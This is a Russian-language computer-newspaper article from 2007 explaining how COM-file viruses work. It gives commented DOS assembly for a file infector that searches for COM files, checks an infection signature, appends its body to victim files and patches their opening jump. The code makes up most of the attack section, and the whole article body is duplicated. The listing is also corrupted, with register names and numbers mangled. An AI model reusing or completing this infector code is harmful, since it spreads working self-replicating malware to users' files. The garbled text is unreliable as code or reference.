Урок анатомии: com-вирусы
Конечно, можно часами рассуждать, как действует вредоносное программное обеспечение, но понять это окончательно можно только "заглянув" в него. Да, только если просмотреть внимательно код, можно досканально понять, как он действует. Этим мы сегодня и займемся: попробуем разобраться, как действует один из видов файловых вирусов…
Напомню, что файловые вирусы занимаются заражениием (изменением) непосредственно файлов, причем чаще всего исполняемых. Сегодня мы рассмотрим, как действуют com-вирусы.
Структура com-файла
Ну, чтобы разобраться в com-вирусах, необходимо, прежде всего, знать анатомию com-файлов, т.е. файлов, подвергающихся заражению. Файлы типа com состоят из кода и данных программы (как видно, намного проще exe:)). com-программа ограничена размером одного сегмента, т.е. 64 килобайт. Таким образом, развернуться негде, и при написании такого рода вируса необходимо хорошенько потрудиться, дабы уложить все вредоносные свойства в столь маленькое "киберпространство". com-программа всегда состоит из одного сегмента и запускается со смещения 0100h. При запуске com-программы в силу вступает следующий алгоритм:
1) определяется сегментный адрес свободного участка памяти, достаточного для размещения программы;
2) создается и заполняется блок памяти для переменных среды;
3) создается блок памяти для PSP и программы. PSP заполняется соответствующими значениями;
4) устанавливается адрес DTA, равный PSP:0080h;
5) загружается сом-файл с адреса PSP:0100h;
6) значение регистра АХ устанавливается в соответствии с параметрами командной строки;
7) регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP.-OOOOh);
8) регистр SP устанавливается на конец сегмента, после чего в стек записывается 0000h;
9) происходит запуск программы с адреса PSP:0100h.
К делу...
Итак, рассмотрим простейший вирус по нашей тематике. Его алгоритм достаточно прост. После запуска он ищет все com-файлы в каталоге, в котором находится сам. После он изменяет JMP (трехбайтную команду перехода) таким образом, чтобы при запуске инфицированой программы управление передовалось вирусу. После передачи управления он опять изменяет JMP-команду (возвращает ее в первоначальное состояние).
Ниже представлин листинг:
;Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx,offset fname — offset myself
add dx.bp
mov cx,00100111b
int 21h
mov ax,3D02h
mov dx,9Eh
int 21h
;Если при открытии файла ошибок не произошло,
;переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
; Читаем первый байт файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf-offset myself
add dx,bp
xor ex,ex ;CX=0
inc ex ; [(увеличение на 1) СХ=1
int 21h
; Сравниваем. Если первый байт файла
; не E9h, то переходим к поиску следующего
; файла — этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
; Перед заражением файла вирус проверяет сигнатуру — не исключено,
; что файл уже заражен:
; Переходим в конец файла (на последний байт)
mov ax,4200h
xor ex,ex
mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h
; Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx, offset bytik-offset myself
add dx, bp
int 21h
; Если при чтении файла ошибок не произошло,
; Проверяем сигнатуру, иначе ищем следующий файл
jnc test_bytik
jmp find_next
; Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
; Если сигнатура есть, то ищем другой файл,
; если ее нет — будем заражать
je find_next2
jmp NotJnfected
; Затем в соответствии с предложенной схемой вирус дописывается
; в конец файла-жертвы и устанавливает адрес перехода на самого себя:
; Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h
; Останавливаем регистр DS на сегмент кода
push cs
pop ds
; Копируем вирус в файл
mov ah,40h
mov cx,offset VirEnd-offset la
mov dx,bp
sub dx,offset myself-offset la
int 21h
; Записываем в начало файла переход на тело вируса
Write_Jmp:
; Переходим в начало файла
xor сх.сх
xor dx,dx
mov ax,4200h
int 21h
; Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3
mov dx, offset jmpvir-offset myself
add dx, bp
int 21h
com-вирусы давно перешли в разряд раритетных, они занимают почетные места в "частных коллекциях", и по Сети практически не "гуляют". Однако некоторые из моих знакомых все же умудряются натыкаться на некоторых.
Как видим, com-вирусы являются одними из простейших представителей вредоносного программного обеспечения. На этом, пожалуй, все. В следующий раз мы рассмотрим внутренности вирусов, заражающих исполняемые файлы с расширениями .ехе.
Удачи…
P.S.: информация представлена для ознакомления и носит чисто информационный характер. Автор не несет ответственности за использование материалов статьи в злонамеренных целях.
Евгений Кучук, Spider Agent, spideragent@tut.by
Напомню, что файловые вирусы занимаются заражениием (изменением) непосредственно файлов, причем чаще всего исполняемых. Сегодня мы рассмотрим, как действуют com-вирусы.
Структура com-файла
Ну, чтобы разобраться в com-вирусах, необходимо, прежде всего, знать анатомию com-файлов, т.е. файлов, подвергающихся заражению. Файлы типа com состоят из кода и данных программы (как видно, намного проще exe:)). com-программа ограничена размером одного сегмента, т.е. 64 килобайт. Таким образом, развернуться негде, и при написании такого рода вируса необходимо хорошенько потрудиться, дабы уложить все вредоносные свойства в столь маленькое "киберпространство". com-программа всегда состоит из одного сегмента и запускается со смещения 0100h. При запуске com-программы в силу вступает следующий алгоритм:
1) определяется сегментный адрес свободного участка памяти, достаточного для размещения программы;
2) создается и заполняется блок памяти для переменных среды;
3) создается блок памяти для PSP и программы. PSP заполняется соответствующими значениями;
4) устанавливается адрес DTA, равный PSP:0080h;
5) загружается сом-файл с адреса PSP:0100h;
6) значение регистра АХ устанавливается в соответствии с параметрами командной строки;
7) регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP.-OOOOh);
8) регистр SP устанавливается на конец сегмента, после чего в стек записывается 0000h;
9) происходит запуск программы с адреса PSP:0100h.
К делу...
Итак, рассмотрим простейший вирус по нашей тематике. Его алгоритм достаточно прост. После запуска он ищет все com-файлы в каталоге, в котором находится сам. После он изменяет JMP (трехбайтную команду перехода) таким образом, чтобы при запуске инфицированой программы управление передовалось вирусу. После передачи управления он опять изменяет JMP-команду (возвращает ее в первоначальное состояние).
Ниже представлин листинг:
;Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx,offset fname — offset myself
add dx.bp
mov cx,00100111b
int 21h
mov ax,3D02h
mov dx,9Eh
int 21h
;Если при открытии файла ошибок не произошло,
;переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
; Читаем первый байт файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf-offset myself
add dx,bp
xor ex,ex ;CX=0
inc ex ; [(увеличение на 1) СХ=1
int 21h
; Сравниваем. Если первый байт файла
; не E9h, то переходим к поиску следующего
; файла — этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
; Перед заражением файла вирус проверяет сигнатуру — не исключено,
; что файл уже заражен:
; Переходим в конец файла (на последний байт)
mov ax,4200h
xor ex,ex
mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h
; Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx, offset bytik-offset myself
add dx, bp
int 21h
; Если при чтении файла ошибок не произошло,
; Проверяем сигнатуру, иначе ищем следующий файл
jnc test_bytik
jmp find_next
; Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
; Если сигнатура есть, то ищем другой файл,
; если ее нет — будем заражать
je find_next2
jmp NotJnfected
; Затем в соответствии с предложенной схемой вирус дописывается
; в конец файла-жертвы и устанавливает адрес перехода на самого себя:
; Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h
; Останавливаем регистр DS на сегмент кода
push cs
pop ds
; Копируем вирус в файл
mov ah,40h
mov cx,offset VirEnd-offset la
mov dx,bp
sub dx,offset myself-offset la
int 21h
; Записываем в начало файла переход на тело вируса
Write_Jmp:
; Переходим в начало файла
xor сх.сх
xor dx,dx
mov ax,4200h
int 21h
; Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3
mov dx, offset jmpvir-offset myself
add dx, bp
int 21h
com-вирусы давно перешли в разряд раритетных, они занимают почетные места в "частных коллекциях", и по Сети практически не "гуляют". Однако некоторые из моих знакомых все же умудряются натыкаться на некоторых.
Как видим, com-вирусы являются одними из простейших представителей вредоносного программного обеспечения. На этом, пожалуй, все. В следующий раз мы рассмотрим внутренности вирусов, заражающих исполняемые файлы с расширениями .ехе.
Удачи…
P.S.: информация представлена для ознакомления и носит чисто информационный характер. Автор не несет ответственности за использование материалов статьи в злонамеренных целях.
Евгений Кучук, Spider Agent, spideragent@tut.by
Компьютерная газета. Статья была опубликована в номере 01 за 2007 год в рубрике безопасность